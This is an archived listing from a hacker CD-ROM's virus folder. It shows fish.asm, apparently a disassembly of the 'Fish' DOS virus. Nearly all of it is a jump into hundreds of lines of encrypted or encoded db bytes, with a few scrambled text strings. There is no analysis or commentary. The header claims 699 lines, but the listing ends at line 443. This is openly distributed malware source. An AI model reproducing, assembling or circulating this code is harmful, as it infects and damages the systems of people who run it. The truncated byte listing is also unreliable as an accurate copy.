home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / fish.asm < prev    next >
Assembly Source File  |  1995-01-03  |  23KB  |  699 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    FISH                         ██
  7. ;██                                         ██
  8. ;██      Created:                                 ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    5           Analysis Options on: H                 ██
  11. ;██                                         ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. data_1e        equ    0B3h            ; (7415:00B3=0)
  16. data_9e        equ    4F0Dh            ; (7415:4F0D=0)
  17. data_10e    equ    0A61Bh            ; (7415:A61B=0)
  18.   
  19. seg_a        segment    byte public
  20.         assume    cs:seg_a, ds:seg_a
  21.   
  22.   
  23.         org    100h
  24.   
  25. fish        proc    far
  26.   
  27. start:
  28.         jmp    loc_6            ; (0EDE)
  29.         db    50h, 0F5h, 2Bh, 0D6h, 7Eh, 0BFh
  30.         db    2Ch, 7Fh, 0F3h, 0A4h, 7, 1Fh
  31.         db    5Fh, 0, 0E9h, 0CAh, 0Dh, 0CDh
  32.         db    20h, 0B9h, 50h, 0, 0BEh
  33.         db    ' is a tiny VOM p'
  34.         db    0EBh, 7Ah, 67h, 72h, 61h, 6Dh
  35.         db    0, 9Ch, 2Eh, 0FFh, 1Eh, 35h
  36.         db    0Eh, 0C3h, 0Dh, 4Eh, 42h, 49h
  37.         db    23h, 82h, 0Bh, 0E7h, 3, 91h
  38.         db    5Dh, 5Eh, 5Ch, 5Fh, 5Bh, 5Ah
  39.         db    13h, 0Bh, 23h, 0F2h, 2Bh, 0E7h
  40.         db    3, 23h, 82h, 0Bh, 0E7h, 3
  41.         db    0Ah, 12h, 52h, 53h, 57h, 54h
  42.         db    56h, 55h, 90h, 23h, 0F2h, 2Bh
  43.         db    0E7h, 3, 5Eh, 45h, 4Ch, 5Fh
  44.         db    46h, 23h, 84h, 2Bh, 5Ah, 2
  45.         db    23h, 81h, 1Bh, 54h, 2, 3
  46.         db    1Ah, 23h, 86h, 2Bh, 56h, 2
  47.         db    23h, 0E5h, 0DEh, 0F2h, 23h, 83h
  48.         db    1Bh, 54h, 2, 23h, 84h, 2Bh
  49.         db    56h, 2, 23h, 86h, 2Bh, 5Ah
  50.         db    2, 0CEh, 23h, 84h, 2Bh, 5Ah
  51.         db    2, 23h, 81h, 1Bh, 54h, 2
  52.         db    3, 1Ah, 23h, 86h, 2Bh, 56h
  53.         db    2, 23h, 0E5h, 96h, 0F2h, 23h
  54.         db    83h, 1Bh, 54h, 2, 23h, 84h
  55.         db    2Bh, 56h, 2, 23h, 86h, 2Bh
  56.         db    5Ah, 2, 0CEh, 81h, 0B3h, 46h
  57.         db    3, 23h, 0C9h, 33h, 38h, 3
  58.         db    3, 12h, 0F1h, 0B4h, 8, 0Dh
  59.         db    0A1h, 2Bh, 8Bh, 8, 85h, 49h
  60.         db    0F2h, 4Ah, 0EFh, 0FBh, 0CEh, 4Eh
  61.         db    4Ch, 5Fh, 5Dh, 0BDh, 0Ch, 3
  62.         db    12h, 0B7h, 0BAh, 1, 0E5h, 0Ch
  63.         db    0Dh, 0CEh, 0Bh, 5Eh, 3Eh, 0D6h
  64.         db    83h, 0CEh, 87h, 0D5h, 0DCh, 0EEh
  65.         db    0DCh, 0EEh, 2Bh, 84h, 1Ah, 2Bh
  66.         db    81h, 52h, 0Fh, 56h, 0Ah, 0CEh
  67.         db    13h, 5Bh, 3Eh, 0FBh, 83h, 0D3h
  68.         db    3Fh, 0E9h, 86h, 0FDh, 0DCh, 0EBh
  69.         db    0DCh, 0EBh, 86h, 11h, 83h, 49h
  70.         db    0Fh, 53h, 12h, 0CEh, 4Fh, 4Ch
  71.         db    5Eh, 5Eh, 0E5h, 0BDh, 0Fh, 0B4h
  72.         db    0E5h, 5Bh, 7, 83h, 23h, 0AEh
  73.         db    0EEh, 3, 0B9h, 5Fh, 23h, 0CAh
  74.         db    0Bh, 56h, 2, 0Dh, 1Dh, 23h
  75.         db    81h, 13h, 48h, 3, 0E5h, 8Dh
  76.         db    6, 0E6h, 0C0h, 2Ch, 2Bh, 86h
  77.         db    4Ah, 0F3h, 23h, 0AEh, 4Ah, 3
  78.         db    3, 12h, 0E5h, 3Dh, 7, 0ACh
  79.         db    0BDh, 2Ch, 0E5h, 0BEh, 0F2h, 81h
  80.         db    0Bh, 22h, 3, 84h, 13h, 20h
  81.         db    3, 0B7h, 0BAh, 1, 0BDh, 0Ch
  82.         db    0CBh, 0Bh, 5Dh, 3, 0Dh, 0E5h
  83.         db    85h, 0F2h, 91h, 55h, 0, 0Dh
  84.         db    0Ch, 5Dh, 90h, 91h, 0B9h, 6Ch
  85.         db    0F2h, 13h, 20h, 3, 91h, 55h
  86.         db    28h, 0F2h, 0F3h, 5Dh, 90h, 0E5h
  87.         db    0ECh, 0Ch, 0AEh, 0C9h, 33h, 20h
  88.         db    3, 81h, 0Bh, 3Ah, 3, 0CBh
  89.         db    0Bh, 46h, 3, 0E7h, 0CAh, 0Bh
  90.         db    41h, 3, 56h, 0, 84h, 33h
  91.         db    38h, 3, 81h, 3, 43h, 3
  92.         db    0E5h, 0Ah, 0Dh, 0E5h, 2Bh, 0F2h
  93.         db    0E5h, 1Ah, 7, 84h, 0BDh, 22h
  94.         db    0E5h, 56h, 0F2h, 81h, 0CEh, 23h
  95.         db    34h, 13h, 4Ah, 3, 7Eh, 11h
  96.         db    0E5h, 32h, 7, 23h, 83h, 13h
  97.         db    22h, 3, 23h, 0F2h, 3Bh, 20h
  98.         db    3, 57h, 0BDh, 1Eh, 0E5h, 24h
  99.         db    0F2h, 3Eh, 0D6h, 83h, 0D6h, 0CBh
  100.         db    0Bh, 78h, 9, 0Fh, 0CEh
  101.         db    '-KD^E-[D_X^-.;- -HLNE-IDKK- -OBC'
  102.         db    'C-?"4=-*sfcwt{bp*)'
  103.         db    0E5h, 0CFh, 0F3h, 23h, 81h, 3
  104.         db    43h, 3, 0E5h, 0B7h, 0F3h, 3
  105.         db    12h, 13h, 0Ah, 0ACh, 48h, 3
  106.         db    83h, 0CDh, 2Bh, 0C8h, 1Bh, 7
  107.         db    0Dh, 83h, 0D5h, 8, 1Dh, 0Dh
  108.         db    23h, 0Ch, 0Bh, 17h, 0Dh, 23h
  109.         db    8Dh, 33h, 2Dh, 0Dh, 0Dh, 0F6h
  110.         db    78h, 29h, 23h, 0ACh, 9, 0Dh
  111.         db    0AEh, 0Dh, 0Ch, 23h, 0ACh, 0Bh
  112.         db    0Dh, 0AEh, 0Fh, 0Ch, 23h, 0ACh
  113.         db    5, 0Dh, 0AEh, 9, 0Ch, 23h
  114.         db    0F2h, 3Bh, 48h, 3, 3Eh, 0CDh
  115.         db    0F3h, 0C9h, 5Dh, 23h, 0ACh, 0EEh
  116.         db    3, 0C6h, 23h, 0Ch, 0Bh, 1Fh
  117.         db    0Dh, 23h, 0ACh, 0EEh, 3, 23h
  118.         db    86h, 2Bh, 19h, 0Dh, 23h, 83h
  119.         db    1Bh, 1Fh, 0Dh, 23h, 0F2h, 23h
  120.         db    15h
  121.         db    0Dh, 59h, 5Fh, 42h, 58h, 59h
  122. loc_1:
  123.         db    3Eh, 0E9h, 0E5h, 0Dh, 0Dh, 84h
  124.         db    0C8h, 81h, 0C5h, 0B6h, 1Dh, 0Dh
  125.         db    0FAh, 0EEh, 54h, 8Ch, 0E4h, 42h
  126.         db    0Fh, 0Eh, 0CCh, 8Eh, 0DFh, 0Dh
  127.         db    0FAh, 0FEh, 5Dh, 0B5h, 0F7h, 0Dh
  128.         db    5Dh, 84h, 0E5h, 0C6h, 0E5h, 0C1h
  129.         db    0Dh, 0C0h, 0E5h, 29h, 7, 0C6h
  130.         db    5Eh, 86h, 0D1h, 3Bh, 86h, 52h
  131.         db    0Bh, 23h, 84h, 13h, 0BEh, 3
  132.         db    56h, 58h, 84h, 0E8h, 0E5h, 0DDh
  133.         db    5, 0AEh, 0E5h, 0FCh, 0F0h, 0E5h
  134.         db    19h, 0F3h, 0E5h, 0CBh, 0F0h, 0E5h
  135.         db    95h, 0F0h, 0E5h, 0CDh, 5, 85h
  136.         db    8Dh, 0F1h, 2, 78h, 9, 0E4h
  137. data_3        dw    0DE4h            ; Data table (indexed access)
  138.         db    0B5h, 8Dh, 0F1h, 1Ch, 78h, 9
  139.         db    0E4h, 96h, 0Dh, 0ACh, 8Dh, 0F1h
  140.         db    1Fh, 78h, 9, 0E4h, 9Fh, 0Dh
  141.         db    84h, 8Dh, 0F1h, 19h, 78h, 9
  142.         db    0E4h, 4, 0Ch, 0E6h, 8Dh, 0F1h
  143.         db    2Ch, 78h, 9, 0E4h, 0F9h, 0Dh
  144.         db    81h, 8Dh, 0F1h, 2Eh, 78h, 9
  145.         db    0E4h
  146. data_4        db    89h            ; Data table (indexed access)
  147.         db    0Ch, 0AEh, 8Dh, 0F1h, 2Ah, 78h
  148.         db    9, 0E4h, 0EDh, 0Dh, 0E6h, 8Dh
  149.         db    0F1h, 30h, 78h, 9, 0E4h, 0CBh
  150. data_5        dw    0F20Ch            ; Data table (indexed access)
  151.         db    8Dh, 0F1h, 33h, 78h, 9, 0E4h
  152.         db    0Ch, 0Fh, 0ACh, 8Dh, 0F1h, 32h
  153.         db    78h, 9, 0E4h, 70h, 0Ah, 85h
  154.         db    8Dh, 0F1h, 4Fh, 78h, 9, 0E4h
  155.         db    4Fh, 0Ah, 81h, 8Dh, 0F1h, 46h
  156.         db    78h, 9, 0E4h, 11h, 0Fh, 0E6h
  157.         db    8Dh, 0F1h, 43h, 78h, 9, 0E4h
  158.         db    5Eh, 5, 84h, 8Dh, 0F1h, 42h
  159.         db    78h, 9, 0E4h, 47h, 5, 83h
  160.         db    8Dh, 0F1h, 5Ah, 78h, 0Eh, 0E4h
  161.         db    0C2h, 0Bh, 0E4h, 5Ah, 4, 0E6h
  162.         db    0E5h, 7Fh, 4, 0ACh, 0E5h, 5Eh
  163.         db    0F0h, 0E5h, 7Bh, 0F0h, 0E5h, 25h
  164.         db    0F0h, 84h, 0E8h, 23h, 0F2h, 3Bh
  165.         db    0BEh, 3, 82h, 4Bh, 0Bh, 50h
  166.         db    0C2h, 23h, 0F2h, 0Bh, 3Ch, 3
  167.         db    0E4h, 19h, 5, 0ACh, 0E5h, 0F5h
  168.         db    0F1h, 0E5h, 0DAh, 0F1h, 7, 0CDh
  169.         db    78h, 0D9h, 0E5h, 0D6h, 0F1h, 0E5h
  170.         db    0CCh, 0Ch, 0BDh, 0Dh, 8Dh, 32h
  171.         db    0F2h, 78h, 0Bh, 87h, 4Ah, 0Bh
  172.         db    8Eh, 0CEh, 0Ah, 23h, 2Dh, 0Bh
  173.         db    0FDh, 3, 0FBh, 4Ah, 17h, 8Dh
  174.         db    79h, 18h, 8Dh, 62h, 17h, 0C5h
  175.         db    23h, 8Dh, 33h, 0FDh, 3, 0Dh
  176.         db    78h, 4, 8Ch, 62h, 10h, 0Dh
  177.         db    3, 8Eh, 52h, 12h, 0Dh, 0E5h
  178.         db    0B6h, 0F1h, 0E6h, 91h, 4Bh, 44h
  179.         db    43h, 0E5h, 0BEh, 0F1h, 0E5h, 9Fh
  180.         db    0F1h, 0E5h, 97h, 0F1h, 7, 0CDh
  181.         db    78h, 0E6h, 84h, 0DEh, 0FBh, 4Ah
  182.         db    18h, 8Dh, 79h, 0EEh, 8Dh, 62h
  183.         db    18h, 0C5h, 8Ch, 62h, 1Dh, 0Dh
  184.         db    3, 8Dh, 52h, 1Fh, 0Dh, 0E6h
  185.         db    0D9h, 23h, 0F2h, 3, 3Ch, 3
  186.         db    0E4h, 0AFh, 0Ah, 0AEh, 0EEh, 16h
  187.         db    84h, 0DEh, 86h, 7Ah, 2Ch, 6
  188.         db    7Ah, 2Eh, 78h, 1Ch, 0E6h, 7
  189.         db    84h, 0DEh, 86h, 4Ah, 1, 7
  190.         db    4Ah, 2Dh, 78h, 8, 0E5h, 0EEh
  191.         db    9, 7Eh, 0Eh, 0E4h, 45h, 0F2h
  192.         db    0E5h, 6Bh, 0F1h, 0E5h, 5Dh, 0F1h
  193.         db    0E5h, 4Fh, 0F1h, 84h, 43h, 0F5h
  194.         db    84h, 4Bh, 0F1h, 13h, 5Fh, 0E5h
  195.         db    26h, 0Ch, 8Eh, 72h, 19h, 0Ch
  196.         db    79h, 16h, 86h, 0Ah, 0Eh, 4Ah
  197.         db    0Fh, 5Eh, 86h, 52h, 9, 0FAh
  198.         db    0DEh, 0Ch, 0D5h, 56h, 79h, 6
  199.         db    8Eh, 0C9h, 9, 0E4h, 76h, 0F2h
  200.         db    40h, 58h, 5Eh, 46h, 54h, 57h
  201.         db    12h, 84h, 0DBh, 3, 0Ah, 0B4h
  202.         db    28h, 0Dh, 0B2h, 0B8h, 3, 0FEh
  203.         db    0A9h, 0B2h, 0B8h, 3, 3, 12h
  204.         db    86h, 58h, 1Fh, 86h, 48h, 1Dh
  205.         db    8, 2, 3, 8Eh, 0DFh, 0Dh
  206.         db    28h, 0FDh, 0F2h, 84h, 58h, 1Fh
  207.         db    84h, 48h, 1Dh, 20h, 0F1h, 0
  208.         db    8Eh, 0D7h, 0Dh, 84h, 58h, 2Eh
  209.         db    84h, 48h, 2Ch, 0B4h, 11h, 0Dh
  210.         db    0CAh, 48h, 3, 0Ch, 0Dh, 0B9h
  211.         db    2Ah, 84h, 0F7h, 0E5h, 0DEh, 0F6h
  212.         db    0E4h, 3Dh, 0F2h, 3, 0Ah, 0B2h
  213.         db    0B8h, 3, 0B4h, 28h, 0Dh, 84h
  214.         db    0DBh, 0FEh, 0A9h, 13h, 5Fh, 3
  215.         db    12h, 0B9h, 2, 0B7h, 0B8h, 3
  216.         db    0E5h, 0B5h, 0F6h, 0B9h, 1Dh, 0E5h
  217.         db    0BEh, 0F6h, 0FBh, 0Bh, 0C7h, 3
  218.         db    8Dh, 53h, 12h, 79h, 26h, 23h
  219.         db    0C9h, 13h, 0C8h, 3, 81h, 0CDh
  220.         db    8Ch, 0E6h, 0Dh, 3, 10h, 0Dh
  221.         db    0Dh, 3Eh, 0DFh, 23h, 86h, 3
  222.         db    0CEh, 3, 44h, 0Ch, 0C6h, 18h
  223.         db    0Dh, 0Dh, 4Ch, 0FAh, 0FCh, 84h
  224.         db    49h, 2Eh, 9Fh, 9Eh, 0FAh, 0FCh
  225.         db    84h, 49h, 2Ch, 0E4h, 0D2h, 0F3h
  226.         db    0E4h, 74h, 0F3h, 0E5h, 61h, 9
  227.         db    0E5h, 18h, 9, 7Fh, 34h, 23h
  228.         db    8Dh, 33h, 0AFh, 3, 0Dh, 79h
  229.         db    3Ch, 0E5h, 64h, 9, 8Eh, 0F6h
  230.         db    0F2h, 79h, 24h, 23h, 0F3h, 3
  231.         db    0AFh, 3, 3, 0Ah, 0B4h, 19h
  232.         db    0Dh, 0B2h, 5Fh, 3, 3Eh, 0CDh
  233.         db    0FFh, 0A2h, 23h, 0ACh, 0AEh, 3
  234.         db    2Bh, 84h, 48h, 0F3h, 2Bh, 84h
  235.         db    50h, 2Bh, 84h, 53h, 0F1h, 23h
  236.         db    8Dh, 2Bh, 0BEh, 3, 0F3h, 0E4h
  237.         db    96h, 0F3h, 0E4h, 38h, 0F3h, 3
  238.         db    0Ah, 0E5h, 2Bh, 9, 0B4h, 19h
  239.         db    0Dh, 23h, 0ACh, 0AEh, 3, 0B2h
  240.         db    5Fh, 3, 0FFh, 0A2h, 78h, 1Bh
  241.         db    2Bh
  242. loc_2:
  243.         db    36h, 50h, 2Bh, 78h, 0FBh, 2Bh
  244.         db    0CAh, 48h, 0F3h, 0Dh, 0Dh, 0E5h
  245.         db    1Ah, 0Fh, 23h, 0F3h, 0Bh, 0AFh
  246.         db    3, 0E6h, 0C6h, 0E4h, 4, 0F3h
  247.         db    0B9h, 22h, 0Bh, 0E5h, 0Bh, 0F6h
  248.         db    0Bh, 12h, 0Ah, 0CEh, 7, 0CDh
  249.         db    79h, 0Eh, 0E4h, 5Bh, 0Ch, 13h
  250.         db    5Fh, 23h, 81h, 0Bh, 2Bh, 3
  251.         db    23h, 84h, 13h, 29h, 3, 23h
  252.         db    0C8h, 3Bh, 29h, 3, 0B4h, 3
  253.         db    0Dh, 0B2h, 0FCh, 3, 3, 0Ah
  254.         db    0FEh, 0A9h, 53h, 12h, 0B4h, 5Dh
  255.         db    0Dh, 0B2h, 0Ah, 2, 0FEh, 0A9h
  256.         db    0B6h, 0F2h, 0F2h, 0E5h, 0E3h, 0F7h
  257.         db    50h, 23h, 82h, 0Bh, 0EBh, 3
  258.         db    23h, 82h, 0Bh, 0E5h, 3, 23h
  259.         db    82h, 0Bh, 0BEh, 3, 3, 0B5h
  260.         db    0Ch, 46h, 0Ah, 91h, 0B6h, 0FCh
  261.         db    3, 23h, 0F2h, 13h, 38h, 3
  262.         db    7Eh, 2Dh, 23h, 8Eh, 3, 0BEh
  263.         db    3, 0Ch, 23h, 0F2h, 3Bh, 0BEh
  264.         db    3, 23h, 0F2h, 3Bh, 0E5h, 3
  265.         db    23h, 0F2h, 3Bh, 0EBh, 3, 58h
  266.         db    23h, 0C9h, 13h, 29h, 3, 84h
  267.         db    0E8h, 0E4h, 9Ch, 0F0h, 0E5h, 8Dh
  268.         db    0Eh, 3, 0Ah, 0B4h, 19h, 0Dh
  269.         db    0B2h, 5Fh, 3, 23h, 0ACh, 0AEh
  270.         db    3, 0FFh, 0A2h, 78h, 0, 2Bh
  271.         db    0CAh, 48h, 0F3h, 0Dh, 0Dh, 23h
  272.         db    0F3h, 0Bh, 0AFh, 3, 0E6h, 0E6h
  273.         db    23h, 0C8h, 3Bh, 0Eh, 2, 8Eh
  274.         db    0F3h, 0Ch, 78h, 39h, 86h, 1Bh
  275.         db    17h, 0Dh, 8Eh, 0CFh, 1Dh, 0B9h
  276.         db    5Ch, 0E5h, 57h, 0F7h, 0Eh, 0DEh
  277.         db    23h, 84h, 1Bh, 8, 2, 0F2h
  278.         db    3Bh, 15h, 0Dh, 23h, 82h, 0Bh
  279.         db    0Eh, 2, 0Eh, 13h, 1Fh, 0Dh
  280.         db    8Eh, 0CEh, 1Dh, 23h, 84h, 13h
  281.         db    0Ch, 2, 0F2h, 3Bh, 19h, 0Dh
  282.         db    23h, 82h, 0Bh, 0F2h, 3, 0E4h
  283.         db    25h, 0Dh, 86h, 9, 0Eh, 49h
  284.         db    0Fh, 5Eh, 86h, 51h, 9, 0FAh
  285.         db    0DEh, 0Ch, 0D5h, 56h, 79h, 6Ch
  286.         db    3, 12h, 0B7h, 0Ah, 2, 0E5h
  287.         db    0B4h, 0Fh, 0E5h, 1Ah, 0Eh, 23h
  288.         db    0F3h, 0Bh, 0E2h, 3, 0E5h, 1Dh
  289.         db    0Ch, 23h, 0F3h, 3, 0E2h, 3
  290.         db    0B9h, 5Ch, 0E5h, 8, 0F7h, 0E5h
  291.         db    50h, 0F7h, 0E5h, 8Dh, 0F7h, 0E5h
  292.         db    3Fh, 0F7h, 83h, 0D6h, 83h, 0CEh
  293.         db    23h, 0F2h, 3Bh, 0BEh, 3, 23h
  294.         db    0F2h, 3Bh, 0E5h, 3, 23h, 0F2h
  295.         db    3Bh, 0EBh, 3, 82h, 0Bh, 7
  296.         db    0Dh, 82h, 0Bh, 1, 0Dh, 13h
  297.         db    0BDh, 2Fh, 0C8h, 1Bh, 7, 0Dh
  298.         db    0E5h, 8Dh, 0F7h, 12h, 90h, 55h
  299.         db    23h, 86h, 2Bh, 0F2h, 3, 23h
  300.         db    83h, 1Bh, 0Ch, 2, 23h, 0F2h
  301.         db    23h, 0Eh, 2, 5Eh, 42h, 41h
  302.         db    48h, 86h, 51h, 0Ch, 86h, 8Dh
  303.         db    34h, 0FFh, 84h, 9, 86h, 8Dh
  304.         db    36h, 0FFh, 84h, 49h, 0Fh, 86h
  305.         db    8Dh, 30h, 0FFh, 84h, 49h, 9
  306.         db    0E5h, 0DAh, 0Eh, 0E6h, 96h, 31h
  307.         db    0Ch, 79h, 0Eh, 0E4h, 96h, 0F1h
  308.         db    23h, 8Eh, 3, 0BEh, 3, 0Ch
  309.         db    23h, 81h, 0Bh, 2Bh, 3, 23h
  310.         db    84h, 13h, 29h, 3, 0E5h, 0A4h
  311.         db    0F4h, 0E5h, 85h, 0F4h, 0E5h, 9Dh
  312.         db    0F4h, 23h, 0C9h, 13h, 29h, 3
  313.         db    2Bh, 0C8h, 7Ah, 1Fh, 7Fh, 79h
  314.         db    23h, 8Dh, 2Bh, 0BEh, 3, 0F3h
  315.         db    8Eh, 0F3h, 0Ch, 79h, 24h, 86h
  316.         db    9, 0Eh, 49h, 0Fh, 5Eh, 86h
  317.         db    51h, 9, 0FAh, 0DEh, 0Ch, 0D5h
  318.         db    56h, 78h, 48h, 86h, 51h, 0Ch
  319.         db    86h, 8Dh, 34h, 0FFh, 84h, 9
  320.         db    86h, 8Dh, 36h, 0FFh, 84h, 49h
  321.         db    0Fh, 86h, 8Dh, 30h, 0FFh, 84h
  322.         db    49h, 9, 0E6h, 21h, 86h, 1Bh
  323.         db    17h, 0Dh, 0E5h, 3Fh, 0Fh, 23h
  324.         db    86h, 3, 0AEh, 3, 8Eh, 0CCh
  325.         db    1Dh, 0Ch, 0C7h, 2Bh, 84h, 5Ah
  326.         db    19h, 0ACh, 15h, 0Dh, 2Bh, 84h
  327.         db    4Ah, 1Fh, 0ACh, 1Fh, 0Dh, 0Eh
  328.         db    0CCh, 2Bh, 84h, 4Ah, 1Dh, 0ACh
  329.         db    19h, 0Dh, 2Bh, 84h, 4Ah, 3
  330.         db    0E5h, 7, 0Fh, 23h, 83h, 13h
  331.         db    0AEh, 3, 86h, 4Bh, 0Fh, 0AEh
  332.         db    7, 0Dh, 86h, 4Bh, 9, 0AEh
  333.         db    1, 0Dh, 0E4h, 6Eh, 0F1h, 4Bh
  334.         db    44h, 5Eh, 45h, 0E5h, 0A6h, 9
  335.         db    0E5h, 0D1h, 0Dh, 0CBh, 0Bh, 2Dh
  336.         db    0Dh, 0Ch, 8Ch, 33h, 0Dh, 3
  337.         db    40h, 57h, 79h, 3, 8Ch, 33h
  338.         db    0Dh, 3, 57h, 40h, 79h, 0Bh
  339.         db    0F3h, 3, 2Dh, 0Dh, 79h, 55h
  340.         db    0ACh, 9, 3, 0DCh, 0ECh, 0FAh
  341.         db    0ECh, 8, 0Dh, 0Fh, 34h, 0FDh
  342.         db    7Fh, 45h, 0ACh, 7, 3, 6
  343.         db    0Bh, 1, 3, 79h, 32h, 86h
  344.         db    1Bh, 0A6h, 3, 0B4h, 0Dh, 0Fh
  345.         db    0ACh, 0A4h, 3, 0FAh, 0FCh, 6
  346.         db    0DFh, 79h, 0Ch, 4Dh, 84h, 1Bh
  347.         db    0Fh, 3, 0AEh, 9, 3, 8Eh
  348.         db    33h, 19h, 3, 0Ch, 79h, 60h
  349.         db    0CAh, 0Bh, 19h, 3, 0Ch, 0Dh
  350.         db    86h, 0CBh, 26h, 0Bh, 5, 3
  351.         db    0AEh, 1Bh, 3, 8Eh, 0Bh, 9
  352.         db    3, 0Ah, 0CAh, 0Bh, 1Dh, 3
  353.         db    0Dh, 3, 0AEh, 3, 3, 0E5h
  354.         db    0C0h, 0Dh, 0E6h, 46h, 8Ch, 0F3h
  355.         db    0Dh, 2, 7Eh, 48h, 0ACh, 0Dh
  356.         db    3, 0AEh, 9, 0Dh, 0Ch, 0CFh
  357.         db    0ACh, 0Fh, 3, 0AEh, 0Bh, 0Dh
  358.         db    0Ch, 0CFh, 0ACh, 9, 3, 0AEh
  359.         db    5, 0Dh, 0FAh, 0DDh, 0Ch, 0CFh
  360.         db    79h, 24h, 0ACh, 0FFh, 3, 29h
  361.         db    9, 78h, 2Fh, 0BCh, 0E4h, 0B5h
  362.         db    1Dh, 0Dh, 85h, 3, 0Dh, 3
  363.         db    0FAh, 0EBh, 8, 0C6h, 0, 0AEh
  364.         db    0Ch, 3, 0ACh, 0Dh, 3, 0Eh
  365.         db    0Bh, 0Fh, 3, 0FAh, 0D5h, 0FAh
  366.         db    0DDh, 0AEh, 9, 3, 0E5h, 8Dh
  367.         db    0Dh, 0B9h, 33h, 0E5h, 3Bh, 0F5h
  368.         db    23h, 86h, 3, 0FFh, 3, 0B5h
  369.         db    0Ch, 4Eh, 23h, 86h, 1Bh, 0F9h
  370.         db    3, 23h, 83h, 13h, 0FBh, 3
  371.         db    0E5h, 2Ch, 0F5h, 0E5h, 40h, 9
  372.         db    0CEh, 3, 0B5h, 0Dh, 5Ah, 12h
  373.         db    0E5h, 18h, 0F5h, 84h, 3, 24h
  374.         db    3, 0B5h, 0Dh, 4Fh, 84h, 1Bh
  375.         db    26h, 3, 3Eh, 0C4h, 3Eh, 0DFh
  376.         db    0E5h, 0Eh, 0F5h, 0B9h, 32h, 0B7h
  377.         db    0Dh, 3, 0BCh, 11h, 0E5h, 0F4h
  378.         db    0FAh, 3Eh, 0C4h, 0B5h, 0Dh, 4Fh
  379.         db    3Eh, 0DFh, 0E5h, 0E2h, 0FAh, 0BCh
  380.         db    11h, 0B9h, 32h, 0B7h, 9, 0Dh
  381.         db    0E5h, 0E8h, 0FAh, 3Eh, 0C4h, 0B5h
  382.         db    0Fh, 4Fh, 86h, 0DCh, 0E5h, 0D6h
  383.         db    0FAh, 84h, 1Bh, 0A6h, 3, 0AEh
  384.         db    0A4h, 3, 86h, 0F5h, 8, 2
  385.         db    0Dh, 8Eh, 0DFh, 0Dh, 28h, 0FDh
  386.         db    0F2h, 24h, 0CAh, 0B4h, 1Dh, 0Dh
  387.         db    0FAh, 0FCh, 86h, 0FDh, 0CEh, 5Dh
  388.         db    44h, 46h, 48h, 3Eh, 0C4h, 0B5h
  389.         db    0Dh, 4Fh, 86h, 0DCh, 0E5h, 0BCh
  390.         db    0FAh, 0BCh, 11h, 0B9h, 4Dh, 0B7h
  391.         db    0Dh, 3, 0E5h, 0AAh, 0FAh, 0B5h
  392.         db    1Dh, 0Dh, 0FAh, 0EBh, 86h, 0C7h
  393.         db    86h, 0DDh, 0B5h, 0Dh, 4Fh, 0E5h
  394.         db    95h, 0FAh, 0B4h, 0Dh, 3, 3Eh
  395.         db    0DFh, 0Ch, 0F4h, 0B9h, 4Dh, 23h
  396.         db    0CBh, 0Bh, 3Eh, 3, 0Ch, 5Eh
  397.         db    0E5h, 0D0h, 9, 56h, 86h, 3
  398.         db    24h, 3, 0B5h, 0Ch, 5Ah, 86h
  399.         db    1Bh, 26h, 3, 0FBh, 0CBh, 8Dh
  400.         db    78h, 0Eh, 8Dh, 0CBh, 0C5h, 0E5h
  401.         db    63h, 0FAh, 0CEh, 0E5h, 0C8h, 0FAh
  402.         db    84h, 0DAh, 8Eh, 0CAh, 0, 13h
  403.         db    0Ah, 0E6h, 2Dh, 0E5h, 0B4h, 0FAh
  404.         db    13h, 0Ah, 0B4h, 5Dh, 0Dh, 84h
  405.         db    0DAh, 0BEh, 0Dh, 3Eh, 0CDh, 8Dh
  406.         db    70h, 0Ch, 37h, 78h, 8, 87h
  407.         db    10h, 8Dh, 0EEh, 12h, 23h, 85h
  408.         db    13h, 25h, 3, 0FFh, 0A3h, 86h
  409.         db    48h, 0F0h, 28h, 0D2h, 0D2h, 0Fh
  410.         db    0EDh, 87h, 48h, 0F1h, 29h, 0D2h
  411.         db    0Fh, 0C9h, 23h, 0CBh, 0Bh, 2Dh
  412.         db    0Dh, 0Dh, 31h, 0D2h, 79h, 4
  413.         db    23h, 0F3h, 0Bh, 2Dh, 0Dh, 31h
  414.         db    0EFh, 78h, 0, 0E5h, 5Fh, 0FAh
  415.         db    0F5h, 0CEh
  416.         db    '@LNFH_HA'
  417.         db    0E5h, 48h, 0FAh, 0F4h, 0CEh, 5Eh
  418.         db    0B9h, 5Ch, 0E5h, 0Ah, 0FAh, 23h
  419.         db    84h, 13h, 0AEh, 3, 56h, 0CEh
  420.         db    0E5h, 0A1h, 0Fh, 5Fh, 0B9h, 3Bh
  421.         db    23h, 87h, 1Bh, 25h, 3, 0E5h
  422.         db    0FFh, 0FBh, 0FAh, 0ECh, 0FAh, 0EEh
  423.         db    84h, 0DEh, 57h, 6, 0D6h, 78h
  424.         db    8, 30h, 0Dh, 4Dh, 7Fh, 45h
  425.         db    0B5h, 0Dh, 4Eh, 0E5h, 0D1h, 0FBh
  426.         db    7Fh, 4Dh, 23h, 84h, 1Bh, 0F9h
  427.         db    3, 23h, 84h, 3, 0FFh, 3
  428.         db    23h, 81h, 13h, 0FBh, 3, 0B5h
  429.         db    0Ch, 4Eh, 3Eh, 0C4h, 0E5h, 0CEh
  430.         db    0FBh, 23h, 8Dh, 33h, 0D7h, 3
  431.         db    0Dh, 78h, 2Ch, 0B5h, 0Fh, 30h
  432.         db    0E5h, 0B8h, 0FBh, 7Fh, 14h, 86h
  433.         db    0D5h, 5Eh, 0B9h, 3Fh, 23h, 87h
  434.         db    1Bh, 25h, 3, 0E5h, 0ABh, 0FBh
  435.         db    86h, 4Ah, 13h, 23h, 0AEh, 0E1h
  436.         db    3, 56h, 0E5h, 0C7h, 0Fh, 0CEh
  437.         db    3Eh, 0D6h, 46h, 0E5h, 0CEh, 0Fh
  438.         db    0CEh, 5Ch, 5Fh, 5Dh, 0B5h, 0Dh
  439.         db    49h, 0E5h, 87h, 0FBh, 8Dh, 0FFh
  440.         db    8Dh, 0FBh, 0CFh, 8Dh, 79h, 4
  441.         db    0B5h, 0Dh, 5Ah, 0E5h, 71h, 0FBh
  442.         db    0FBh, 0CBh, 8Dh, 55h, 57h, 54h
  443.         db    0CEh, 0E5h, 0C0h, 0FBh, 3Eh, 0C4h
